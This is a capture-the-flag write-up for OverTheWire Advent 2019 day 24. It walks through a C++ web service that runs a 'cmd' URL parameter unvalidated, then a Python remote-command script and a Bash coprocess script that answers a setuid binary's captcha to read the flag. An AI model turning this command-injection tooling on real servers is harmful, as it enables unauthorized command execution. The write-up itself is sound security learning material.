3 OverTheWire Advent 2019, day 24
5 Discussion in [Mattermost](https://mattermost.w0y.at/otw-advent-2019/channels/day-24-got-shell)
7 Time spent for this challenge: 2.25 hours + 0.5 hours write-up
9 * December 24: 2.25 hours (13:30-15:45)
14 Got shell? - web, linux
17 Can you get a shell? NOTE: The firewall does not allow outgoing traffic & There are no additional paths on the website.
18 Service: http://3.93.128.89:1224
22 Accessing the website shows some C++ code:
34 std::string exec(const char* cmd) {
35 std::array<char, 128> buffer;
37 std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
39 return std::string("Error");
41 while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
42 result += buffer.data();
49 app.loglevel(crow::LogLevel::Warning);
52 ([](const crow::request& req) {
53 std::ostringstream os;
54 if(req.url_params.get("cmd") != nullptr){
55 os << exec(req.url_params.get("cmd"));
57 os << exec("cat ./source.html");
59 return crow::response{os.str()};
62 app.port(1224).multithreaded().run();
66 From this, we see that the app uses the [CROW](https://github.com/ipkn/crow) framework for web handling, which is inspired by Python's Flask. From the code, we see that, normally, the website prints the source code. However, if the `cmd` query parameter is provided, it runs this command directly without validation.
69 Passing `ls -hla` reveals:
73 drwxr-xr-x 1 root root 4.0K Dec 24 11:56 .
74 drwxr-xr-x 1 root root 4.0K Dec 24 11:56 ..
75 ----r----- 1 root gotshell 38 Dec 24 08:32 flag
76 ------s--x 1 root gotshell 18K Dec 5 17:26 flag_reader
77 -rw-rw-r-- 1 root root 11K Dec 24 08:32 source.html
80 So, the `flag_reader` binary can access the flag, but we cannot do that directly.
82 To make command execution easier, I developed a small Python script:
85 #!/usr/bin/env python3
90 print(" > ", end="", flush=True)
92 print(" ... ", end="\r", flush=True)
93 payload = { 'cmd': command }
94 req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=2)
102 uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
105 1411293829 + 1732747376 = Incorrect captcha :(
107 Linux d2474e4d718f 4.15.0-1051-aws #53-Ubuntu SMP Wed Sep 18 13:35:53 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
110 The challenge here is that `flag_reader` generates the captcha dynamically and only prints the flag if the response is correct -- However, we do not have access to STDIN. Python is not present on the host. `@stiefel40k` tried to write a Perl script, while I took a go at a Bash script to achieve the same.
112 I started by using [awk](https://www.gnu.org/software/gawk/manual/html_node/Arithmetic-Ops.html) to do the arithmetic operation, thinking that this would be easy. Quickly, I had a payload:
115 ./flag_reader | tail -n 1 | awk '{ sum = $1 + $3 ; \n print sum }'
118 However, this just prints to STDOUT, we need to pass it to a program earlier in the pipe.
120 In the meantime, `@stiefel40k` had developed a local simulation of the flag reader:
129 echo -n "$R1 + $R2 = "
133 if [[ $SUM -ne $VAL ]]
142 To be able to dynamically write to the flag reader depending on its output, I used [a little-known feature of Bash](https://www.gnu.org/software/bash/manual/html_node/Coprocesses.html), coprocesses. These StackOverflow questions helped with this: [1](https://stackoverflow.com/questions/5129276/how-to-redirect-stdout-of-2nd-process-back-to-stdin-of-1st-process), [2](https://stackoverflow.com/questions/7689100/bash-coproc-unexpected-behavior).
150 #awk '{ sum = $1 + $3 ;
151 # print sum }' <&${p1[0]} >&${p1[1]}
155 read -d "=" captcha <&${p1[0]}
156 solution=$(echo $captcha | awk '{ sum = $1 + $3 ;
158 echo "hey solute $solution"
159 echo "$solution" >&${p1[1]}
165 This worked locally, but not on the server. I wasn't sure why, but the server had some difficulties, so I added retry logic to the exploit script. Also, I saved the script to `proc.sh` to make it easier to edit and handle:
170 import requests.exceptions
175 print(" > ", end="", flush=True)
180 if command == "EXPL":
181 with open("proc.sh", "r") as file:
182 script = "".join(file.readlines())
184 escaped = command.replace("\n", " ").replace('"', '\\"').replace("$", "\\$")
185 full = 'bash -c "'+escaped+'"'#+' ; echo \\"result -> $?\\""'
186 payload = { 'cmd': full}
188 print(" ... ", end="\r", flush=True)
189 req = requests.get("http://3.93.128.89:1224/", params=payload, timeout=20)
190 print(" ", end="\r", flush=True)
194 except requests.exceptions.ReadTimeout:
196 except requests.exceptions.ConnectionError:
197 print("(connect error)")
200 What this does is wrap the command in `bash -c`, which is necessary because coprocesses are a Bash-specific feature. It also does some escaping on the script, because it needs to be passed quoted to the shell. Doing this in the file directly was not feasible because I needed to run it locally as well.
202 Ultimately, the reason why it did not work was that the co-process syntax I used was not supported on the version of Bash the remote used. (Yay Ubuntu! -- Note the semicolon after the block) Also, `awk` by default outputs large numbers in scientific notation, which the flag reader did not accept:
207 hey solute 3.43413e+09
212 The final Bash script is as follows (`25-proc.sh`): (missing shebang is important because it is combined into a single line)
219 read line <&${p1[0]};
221 read -d "=" captcha <&${p1[0]};
222 solution=$(echo $captcha | timeout 1s awk '{ sum = $1 + $3 ;
223 printf "%.0f", sum }');
224 echo "hey solute $solution";
225 echo "$solution" >&${p1[1]};
230 Combined with the Python script from above (`25-shell.py`), this yielded the flag: `AOTW{d1d_y0u_g3t_4n_1n73r4c71v3_5h3ll}`.